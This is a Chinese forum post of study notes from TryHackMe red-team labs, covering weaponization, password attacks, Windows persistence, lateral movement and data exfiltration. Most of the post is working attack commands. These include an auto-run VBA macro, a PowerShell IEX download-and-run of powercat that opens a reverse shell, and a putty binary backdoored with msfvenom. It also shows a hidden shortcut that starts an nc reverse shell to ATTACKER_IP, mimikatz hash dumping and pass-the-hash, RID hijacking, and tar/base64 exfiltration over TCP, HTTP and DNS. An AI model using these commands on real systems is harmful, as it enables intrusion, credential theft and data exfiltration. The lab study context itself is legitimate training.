Tryhackme部分翻译学习

打印 上一主题 下一主题

主题 1866|帖子 1866|积分 5598

Tryhackme部分翻译学习

1.Weaponization

WSH

上传txt到桌面
  1. Set shell = WScript.CreateObject("Wscript.Shell")
  2. shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,Ture
复制代码
wscript /e:vbscript 1.txt
HTA
  1. [/code][align=center][img]https://i-blog.csdnimg.cn/img_convert/b7858a538fb710e397f083f83105e298.png[/img][/align]
  2. 访问下载并运行,弹出cmd
  3. [align=center][img]https://i-blog.csdnimg.cn/img_convert/0755b0b65e73d347d1a2ba4ce6377f5a.png[/img][/align]
  4. [size=4]vba[/size]
  5. 找到Macros
  6. [align=center][img]https://i-blog.csdnimg.cn/img_convert/0f15c1c03688619d4b0cbe949db0aa63.png[/img][/align]
  7. [code]Sub Document_Open()
  8.   THM
  9. End Sub
  10. Sub AutoOpen()
  11.   THM
  12. End Sub
  13. Sub THM()
  14.         Dim payload As String
  15.         payload = "calc.exe"
  16.         CreateObject("Wscript.Shell").Run payload,0
  17. End Sub
复制代码
保存为Word 97-2003 Document类型,再次打开doc文件,

PSH

powershell默认的执行政策是不允许执行以.ps1后缀的PowerShell 脚本,也就是Restricted,这里利用powercat进行绕过完成反弹shell
Bypass Execution Policy
先下载powercat,如何在powercat目次下起个web服务
  1. powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.11.97.59:8080/powercat.ps1');powercat -c 10.11.97.59 -p 1337 -e cmd"
复制代码

练习



这个会给出本地8080端口的一个hta链接,用上面网站访问后,反弹乐成
权限维持

shell命令启动系统的命令行解释器,这里是windows的cmd.exe


2.passwordattacks

默认密码https://default-password.info/
弱密码https://github.com/danielmiessler/SecLists/tree/master/Passwords
自定义天生字典

crunch
  1. crunch 6 6 -t pass%%
复制代码
  1. crunch 2 2 01234abcd -o crunch.txt
复制代码
hashcat字典攻击

-a 0 sets the attack mode to a dictionary attack
-m 0 sets the hash mode for cracking MD5 hashes; for other types, run hashcat -h for a list of supported hashes
  1. hashcat -a 0 -m 100 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt
复制代码
hashcat暴力破解
  1. hashcat -a 3 -m 0 e48e13207341b6bffb7fb1622282247b ?d?d?d?d
复制代码
ftp爆破
  1. hydra -l ftp -P passlist.txt ftp://10.10.x.x
复制代码
smtp爆破
  1. hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v
复制代码
ssh爆破
  1. hydra -L users.lst -P /path/to/wordlist.txt ssh://10.10.x.x -v
复制代码
http登录爆破

-l 指定用户名
S=logout.php the success condition to identify the valid credentials
-f to stop the brute-forcing attacks after finding a valid username and password
  1. hydra -l phillips -P 500-worst-passwords.txt 10.10.22.76 http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
复制代码
密码喷洒攻击

ssh

rdp

工具
https://github.com/xFreed0m/RDPassSpray
  1. python3 RDPassSpray.py -u victim -p Spring2021! -t 10.100.10.240:3026
复制代码
Outlook web access (OWA)

工具
https://github.com/dafthack/MailSniper
https://github.com/byt3bl33d3r/SprayingToolkit
smb

工具
Metasploit (auxiliary/scanner/smb/smb_login)
3.windows local persistence

查看本地组
  1. net localgroup
复制代码
将用户添加到管理员组
  1. net localgroup administrators thmuser0 /add
复制代码
添加到管理员组太可疑了,换成到backup组
将用户添加到backup组
  1. net localgroup "Backup Operators" thumuser1 /add
复制代码
但由于黑白特权用户,除非我们将其添加到远程桌面用户 (RDP) 或远程管理用户 (WinRM) 组,否则它无法将 RDP 或 WinRM 返回到计算机
将用户添加到WinRW组
由于在windows命令提示符和powershell等命令行情况使用空格分隔命令和参数,所以要加双引号转义
  1. net localgroup "Remote Management Users" thmuser1 /add
复制代码
然后就能通过evil-winrm 毗连

本来因为我们前面加入了backup组,可以读取/写入系统上的任何文件或注册表项,而忽略任何配置的 DACL,这将允许我们复制 SAM 和 SYSTEM 注册表配置单位的内容,然后我们可以使用它来规复所有用户的密码哈希,从而使我们可以或许轻易升级到任何管理帐户。但如今可以发现backup operators组已经被禁用了
sam文件:是用来存储本地用户账号密码的文件的数据库
system文件:里面有对sam文件进行加密和加密的密钥

这是由于用户帐户控制 (UAC) 造成的,UAC 实现的功能之一 LocalAccountTokenFilterPolicy 在远程登录时会剥夺任何本地帐户的管理权限,由于我们使用的是WinRM,将会被限制为没有管理权限的有限访问令牌。
可以通过修改注册表项更改为1来禁用LocalAccountTokenFilterPolicy
修改注册表项
  1. C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
复制代码
再次毗连,就能看到

然后备份 SAM和SYSYTEM文件
  1. Evil-WinRM PS C:\> reg save hklm\system system.bak
复制代码
  1. Evil-WinRM PS C:\> reg save hklm\sam sam.bak
复制代码
下载到我们的攻击主机上
  1. Evil-WinRM PS C:\> download system.bak
复制代码
  1. Evil-WinRM PS C:\> download sam.bak
复制代码
然后利用工具来转储使用用户的密码哈希
  1. user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
复制代码

先学习一下组成
  1. Administrator        //用户名
  2. 500                   //用户rid
  3. aad3b435b51404eeaad3b435b51404ee //lmhash(老加密算法)
  4. 1cea1d7e8899f69e89088c4cb4bbdaa3 //ntlmhash(新加密算法)
复制代码
从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在
最后就能直接以管理员身份登录
  1. user@AttackBox$ evil-winrm -i 10.10.205.175 -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3
复制代码
RID劫持

创建用户时,将为其分配一个称为相对 ID (RID) 的标识符。RID 只是一个数字标识符,表示整个系统中的用户。当用户登录时,LSASS 进程从 SAM 注册表配置单位获取其 RID,并创建与该 RID 关联的访问令牌。假如我们可以篡改注册表值,我们可以通过将相同的 RID 关联到两个帐户来使 Windows 为非特权用户分配管理员访问令牌。
在任何 Windows 系统中,默认管理员帐户的分配 RID = 500,而普通用户的 RID > = 1000
  1. C:\> wmic useraccount get name,sid
复制代码

RID 是 SID 的最后一位,如今我们只需要将 RID=500 分配给 thmuser3,thmuser3的RID为1010,为此,我们需要使用 Regedit 访问 SAMSAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 身份运行 Regedit,将使用 psexec
  1. C:\tools\pstools> PsExec64.exe -i -s regedit
复制代码
从 Regedit 中,我们将转到HKLM\SAM\SAM\Domains\Account\Users\机器中每个用户都有一个密钥的地方。由于我们要修改 thmuser3,因此我们需要搜刮其 RID 为十六进制 (1010 = 0x3F2) 的密钥。在相应的键下,会有一个名为F的值,它在位置 0x30 处保存用户的有效 RID

RID 是使用小尾数法存储的,因此它的字节显示为颠倒的。
如今将用十六进制的管理员RID (500 = 0x01F4) 替换这两个字节,切换字节 (F401)

thmuser3 下次登录时,LSASS 会将其关联到与 Administrator 相同的 RID,并授予他们相同的权限
可执行文件
  1. msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
复制代码
快捷方式

这是计算机快捷方式本来的属性,指向calc.exe

写一个脚本
  1. Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"
  2. C:\Windows\System32\calc.exe
复制代码
然后把target改成
  1. powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
复制代码

如许就会闪过一个弹窗,然后运行calc.exe,但现实也已经进行了反弹shell
4.lateral movement and pivoting(横向移动)

两种类型的管理员

  • 本地帐户是本地管理员组的一部分
  • 本地 Administrators 组的域帐户部分
用户帐户控制 (UAC) 对本地管理员(默认管理员帐户除外)施加限制。默认情况下,除非通过 RDP 使用交互式会话,否则本地管理员将无法远程毗连到计算机并执行管理使命。Windows 将拒绝通过 RPC、SMB 或 WinRM 请求的任何管理使命,因为此类管理员将使用筛选的介质完备性令牌登录,从而制止帐户执行特权操纵。唯一将获得完全权限的本地帐户是默认管理员帐户。
具有本地管理权限的域帐户不会受到相同的处理,而是使用完全管理权限登录

起首通过ssh进入THMJMP2主机,假设已经获取到THMIIS的具有管理权限的用户名和密码
User: ZA.TRYHACKME.COM\t1_leonard.summers
Password: EZpass4ever
先利用msf天生反弹shell的exe文件

smbclient
利用smbclient上传exe到THMIIS的admin$共享目次上
  1. smbclient -c 'put attack.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
复制代码

在THMIIS执行
  1. runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.17.48 4443"
复制代码
此ip是vpn下的ip
  1. nc -lvp 4443
复制代码

接着利用sc形成新的远程毗连
  1. sc.exe \\thmiis.za.tryhackme.com create THMservice binPath= "%windir%\aaa.exe" start = auto  
复制代码

然后启动sc

可以看到反弹乐成

找到第一个flag

NTLM Authentication



  • 客户端向其想要访问的服务器发送认证请求。
  • 服务器天生一个随机数,并将其作为挑衅发送给客户端。
  • 客户端将自己的 NTLM 密码哈希与挑衅(以及其他已知数据)相结合,天生相应以回传给服务器进行验证。
  • 服务器将挑衅和相应都转发给域控制器进行验证。
  • 域控制器使用挑衅重新计算相应,并将其与客户端最初发送的相应进行比较。假如两者匹配,客户端得到认证;否则拒绝访问。认证结果被发送回服务器。
  • 服务器将认证结果转发给客户端。
可以看到只需要NTLM Hash,而不需要现实的明文,所以就算没有破解乐成NTLM Hash,也能完成认证
提取NTLM Hash可以用mimikatz读取本地SAM,或直接从LSASS内存中提取哈希值
HASH通报

从本地 SAM 提取 NTLM 哈希值
  1. mimikatz # privilege::debug
  2. mimikatz # token::elevate
  3. mimikatz # lsadump::sam
  4. RID  : 000001f4 (500)
  5. User : Administrator
  6.   Hash NTLM: 145e02c50333951f71d13c245d352b50
复制代码
从 LSASS 内存中提取 NTLM 哈希值
  1. mimikatz # privilege::debug
  2. mimikatz # token::elevate
  3. mimikatz # sekurlsa::msv
  4. Authentication Id : 0 ; 308124 (00000000:0004b39c)
  5. Session           : RemoteInteractive from 2
  6. User Name         : bob.jenkins
  7. Domain            : ZA
  8. Logon Server      : THMDC
  9. Logon Time        : 2022/04/22 09:55:02
  10. SID               : S-1-5-21-3330634377-1326264276-632209373-4605
  11.         msv :
  12.          [00000003] Primary
  13.                  Username : bob.jenkins
  14.                  Domain   : ZA
  15.                  NTLM     : 6b4a57f67805a663c818106dc0648484
复制代码
可以使用提取的哈希值通过 Mimikatz 进行 “通报哈希”(PTH)攻击,将一个受害用户的访问令牌注入到一个反向 Shell
  1. mimikatz # token::revert
  2. mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
复制代码
Kerberos Authentication

1.用户发送他的用户名和使用从他密码派生的密钥加密的时间戳到密钥分发中心(KDC)。KDC 通常安装在负责在网络上创建 Kerberos 票据的域控制器上。
KDC 将创建并发送一个票据授予票据(TGT),允许用户请求访问特定服务的票据,而无需将其凭据通报给服务自己。除了 TGT 之外,还会给用户一个会话密钥,他们需要使用它来天生随后的请求。
注意 TGT 是使用 krbtgt 账户的密码哈希进行加密的,因此用户无法访问其内容。重要的是要知道,加密的 TGT 包罗会话密钥的副本作为其内容的一部分,KDC 无需存储会话密钥,因为在需要时可以通过解密 TGT 来规复一个副本

2.当用户想要毗连到网络上的服务,比如共享、网站或数据库时,他们将使用他们的 TGT 向 KDC 请求一个票据授予服务(TGS)。TGS 是仅允许毗连到特定服务的票据。为了请求 TGS,用户将发送他的用户名和使用会话密钥加密的时间戳,以及 TGT 和服务主体名称(SPN)。SPN 指示我们筹划访问的服务和服务器名称。
作为结果,KDC 将向我们发送一个 TGS 和一个服务会话密钥,我们将需要这个密钥来对我们想要访问的服务进行认证。TGS 是使用服务所有者哈希加密的。服务所有者是运行服务的用户或机器帐户。TGS 包含一个服务会话密钥的副本在其加密内容中,因此服务所有者可以通过解密 TGS 来访问它。

3.TGS 随后可以发送给所需的服务进行认证和建立毗连。服务将使用其配置的帐户密码哈希来解密 TGS 并验证服务会话密钥。

RDP劫持

当管理员使用远程桌面毗连到一台机器,并关闭 RDP 客户端而不是注销时,他的会话将在服务器上无穷期保持打开状态。假如在 Windows Server 2016 及更早版本上拥有 SYSTEM 权限,可以接管任何现有的 RDP 会话,而无需密码。
假如我们拥有管理员级别的访问权限,我们可以通过我们喜欢的任何方法获取 SYSTEM 权限。如今,我们将使用 psexec 来做到这一点。起首,让我们以管理员身份运行一个 cmd.exe:
  1. PsExec64.exe -s cmd.exe
复制代码
通过psexec提权到NT AUTHORITY\SYSTEM
列出服务器上的现有会话
  1. C:\> query user
  2. USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
  3. >administrator         rdp-tcp#6           2  Active          .  4/1/2022 4:09 AM
  4. luke                                    3  Disc            .  4/6/2022 6:51 AM\
复制代码
当前使用管理员用户通过 RDP 毗连,我们的 SESSIONNAME 将是 rdp-tcp#6 。我们还可以看到一个名为 luke 的用户保留了一个带有 ID 3 的会话。任那里于 Disc 状态的会话都是用户保留的,而且目前没有被使用。
使用 tscon.exe 并指定我们将接管的会话 ID,以及我们当前的 SESSIONNAME,以管理员用户的身份毗连,接管 luke 的会话
  1. tscon 3 /dest:rdp-tcp#6
复制代码
/dest指定目标会话
由 luke 拥有的图形会话 3 将与管理员用户拥有的 RDP 会话 rdp-tcp#6 毗连,结果是,我们将规复 luke 的 RDP 会话,并立即毗连到它
端口转发

ssh远程端口转发

防火墙策略制止攻击者的机器直接访问服务器上的 3389 端口。假如攻击者先前已经入侵了 PC-1,而且 PC-1 可以访问服务器的 3389 端口,那么可以使用 PC-1 进行远程端口转发,从而将端口 3389 进行跳板。远程端口转发允许我们从 SSH 客户端(在这种情况下是 PC-1)获取可访问的端口,并将其映射到远程 SSH 服务器(攻击者的机器)。
结果是,在攻击者的机器上将打开一个端口,可以通过 SSH 隧道毗连回服务器的 3389 端口。PC-1 将转发毗连,以便服务器将所有流量视为来自 PC-1:

至于为什么需要使用端口转发,而不是直接在pc-1上面进行rdp毗连,在只能通过控制台访问 PC-1 的情况下,我们无法使用任何 RDP 客户端,因为我们没有图形界面。通过将端口提供给攻击者的机器,我们可以使用 Linux RDP 客户端进行毗连,比如xfreedrdp
  1. C:\> ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N
复制代码
这将在 PC-1 和 1.1.1.1(攻击者 PC)之间建立一个 SSH 会话,使用 tunneluser 用户。由于 tunneluser 用户不被允许在攻击者 PC 上运行 shell,我们需要使用 -N 开关运行 ssh 命令,以防止客户端请求 shell,否则毗连将立即退出。-R 开关用于请求远程端口转发,语法要求我们起首指示我们将在 SSH 服务器上打开的端口(3389),这个端口是都可以的,不一定要和现实转发端口一致,然后是一个冒号,接着是我们将要转发的套接字的 IP 和端口(3.3.3.3:3389),然后就可以在1.1.1.1上利用rdp毗连3.3.3.3
ssh本地端口转发

本地端口转发允许我们将 SSH 服务器中的一个端口 “拉取” 到 SSH 客户端。在我们的情景中,这可以用于将攻击者机器上的任何服务通过 PC-1 上的一个端口提供出来。如许,任何无法直接毗连到攻击者 PC 但可以毗连到 PC-1 的主机如今将可以或许通过跳板主机访问攻击者的服务。
使用这种类型的端口转发将允许我们从通常无法毗连回我们的主机运行反向 Shell,或者简单地使我们想要的任何服务对于无法直接毗连到我们的机器的机器可用。

在pc1上运行命令
  1. C:\> ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N
复制代码
该命令结构类似于远程端口转发的命令,但使用了 -L 选项进行本地端口转发。该选项要求我们指定 PC-1 用于吸收毗连的本地套接字(*:80)以及从攻击者的 PC 角度毗连的远程套接字(127.0.0.1:80)。
在第二个套接字中使用了 IP 地址 127.0.0.1,因为从攻击者的 PC 角度来看,这是保存要转发的端口 80 的主机。
然后就可以通过 http://2.2.2.2:80 查看攻击者机器发布的网站。
socat端口转发

在pc1上使用命令
  1. C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389
复制代码

监听本地的3389端口,将此端口上的所有毗连转发到3.3.3.3的3389端口上,1.1.1.1毗连2.2.2.2的3389端口,就能转发到3.3.3.3的3389端口
动态端口转发和socks

动态端口转发允许我们通过一个主机进行跳转,并使用 SOCKS 代理建立到我们想要的任何 IP 地址 / 端口的多个毗连。
  1. C:\> ssh tunneluser@1.1.1.1 -R 9050 -N
复制代码
-R 反向隧道,将远程服务器的9050端口转发到本地计算机上。
在这种情况下,SSH 服务器将在端口 9050 上启动一个 SOCKS 代理,并通过 SSH 隧道转发任何毗连请求,终极由 SSH 客户端代理。
并通过proxychains使用socks代理,只要在配置文件中使用和socks代理一样的端口就行
5.数据走漏

TCP套接字

在跳板机监听8080端口,将数据存到tmp文件夹
  1. thm@jump-box$ nc -lvp 8080 > /tmp/task4-creds.data
复制代码
在受害机上
  1. thm@victim1:$ tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
复制代码

  • 使用 tar 命令创建了一个带有 secret 目次内容的 zcf 参数的归档文件。
  • z 表示使用 gzip 压缩所选文件夹,c 表示创建新存档,f 表示使用存档文件。
  • 然后将创建的 tar 文件通报给 base64 命令,将其转换为 base64 表示。
  • 然后,我们通报了 base64 命令的结果,使用 EBCDIC 编码数据使用 dd 命令创建和复制备份文件。
  • 最后,重定向 dd 命令的输出,以使用指定 IP 和端口上的 TCP 套接字(在本例中为端口 8080)进行传输
跳板机就能收到相干数据
ssh
  1. thm@victim1:$ tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
复制代码
HTTP
  1. thm@victim1:~$ curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
复制代码
HTTP隧道

可以从 Internet 访问 uploader.thm.com 服务器,但是,app.thm.com 服务器在本地运行,仅为内部网络提供服务

利用neoreg工具搭建http隧道,以thm为key

上传文件到

毗连到隧道客户端
  1. root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py -k thm -u http://10.10.142.69/uploader/files/tunnel.php
复制代码

通过本地1080代理就能访问app.thm.com

DNS数据走漏

DNS协议具有需要思量的限制,具体如下:

  • 完全限定的 FQDN 域名(包罗 .separators)的最大长度为 255 个字符。
  • 子域名(标签)长度不得凌驾63个字符(不包罗.com、.net等)。

NS 代表“域名服务器”,域名服务器记录指示哪个 DNS 服务器对该域具有权威性(即,哪个服务器包含现实 DNS 记录)。域名服务器是一种 DNS 服务器,上面存储了域的所有 DNS 记录,包罗 A 记录、MX 记录或 CNAME 记录。
example.comrecord type:value:TTL@NSns1.exampleserver.com21600如example.com的域名服务器是ns1.exampleserver.com


  • 攻击者注册域名,比方 tunnel.com
  • 攻击者将 tunnel.com 的 NS 记录点设置为攻击者控制的服务器。
  • 恶意软件或攻击者将敏感数据从受害计算机发送到他们控制的域名(比方 passw0rd.tunnel.com,此中 passw0rd 是需要传输的数据。
  • DNS 请求通过本地 DNS 服务器发送,并通过 Internet 转发。
  • 攻击者的权威DNS(恶意服务器)吸收到DNS请求。
  • 最后,攻击者从域名中提取密码。

att.tunnel.com由attNS.tunnel.com域名服务器来剖析,而attNS.tunnel.com域名服务器又指向172.20.0.200,也就是attack机器,相当于以attack机器来剖析att.tunnel.com
将要传输的数据base64编码,用点“.”将每 18 个字符分开
  1. thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/
复制代码

  • cat task9/credit.txt | base64 | tr -d "\n" | fold -w18对数据进行了编码,删除了换行符,并将其分组为每行 18 个字符。
  • sed 's/.*/&./'在每行的末尾附加一个点 .
  • tr -d "\n"再次删除换行符
  • sed s/$/att.tunnel.com/这将附加在行上。正则表达式与行的末尾匹配,行末尾添加att.tunnel.com

然后通过dig命令以dns形式发送被我们改造好的域名,执行 DNS 查询,即查询 DNS 名称服务器以获取域名、IP 地址和其他 DNS 相干数据的信息,通过dig ...att.tunnel.com
  1. thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash
复制代码
收到了dns请求

解密出数据

DNS隧道

iodined为服务端,iodine为客户端
先在攻击机搭建隧道服务端
  1. thm@attacker$ sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
复制代码


  • 确保使用 sudo 执行命令。iodined 为通过 DNS 的隧道创建新的网络接口 (dns0)。
  • -f 参数用于在前台运行服务器。
  • -c 参数用于跳过查抄每个 DNS 请求的客户端 IP 地址和端口。
  • -P 参数用于设置身份验证密码。
  • 10.1.1.1/24 参数用于设置新网络接口 (dns0) 的网络 IP。服务器的 IP 地址为 10.1.1.1,客户端为 10.1.1.2。
  • att.tunnel.com 是我们之前设置的名称服务器。
在跳板机搭建隧道客户端
  1. thm@jump-box:~$ sudo iodine -P thmpass att.tunnel.com
复制代码

如许DNS隧道就搭建好了,通过DNS隧道毗连跳板机,搭建ssh隧道,创建socks代理
  1. thm@attacker:~$ ssh thm@10.1.1.2 -4 -f -N -D 1080
复制代码

-f 参数来逼迫 ssh 进入后台。-4 参数逼迫 ssh 客户端仅在 IPv4 上绑定。-D 开启动态端口转发,端标语为1080
然后使用代理访问内网资源
  1. thm@attacker:~$ curl --socks5 127.0.0.1:1080 http://192.168.0.100/test.php
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

杀鸡焉用牛刀

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表